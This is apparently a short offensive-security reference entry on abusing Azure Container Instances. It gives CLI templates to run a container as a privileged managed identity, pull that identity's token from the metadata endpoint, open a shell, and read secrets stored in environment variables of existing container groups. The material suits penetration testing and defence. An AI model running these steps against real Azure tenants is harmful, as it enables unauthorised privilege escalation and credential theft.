Azure Container Instances (ACI) run a single container without a cluster. Creating a container group with an assigned managed identity gives you code execution that holds that identity's token, and reading an existing group's definition exposes its environment variables, a common home for secrets.

Run a container as a chosen identity#

az container create -g <rg> -n evil --image <registry>.azurecr.io/x \
  --assign-identity <userAssignedIdentityId> --command-line "/bin/sh -c 'curl -s -H Metadata:true http://169.254.169.254/...'"
az container exec -g <rg> -n evil --exec-command "/bin/sh"

Read an existing group#

az container show -g <rg> -n <group> --query "containers[].environmentVariables"

Exploitation notes#

• The --assign-identity path mirrors the VM managed-identity escalation: attach a privileged user-assigned identity, then mint its token from inside the container.
• Environment variables and mounted Azure File shares on existing groups frequently carry connection strings and keys.

Tools#

• Azure CLI (az container create, az container exec, az container show).

References#

• Microsoft: ACI managed identity
• HackTricks Cloud: Azure
• NetSPI: MicroBurst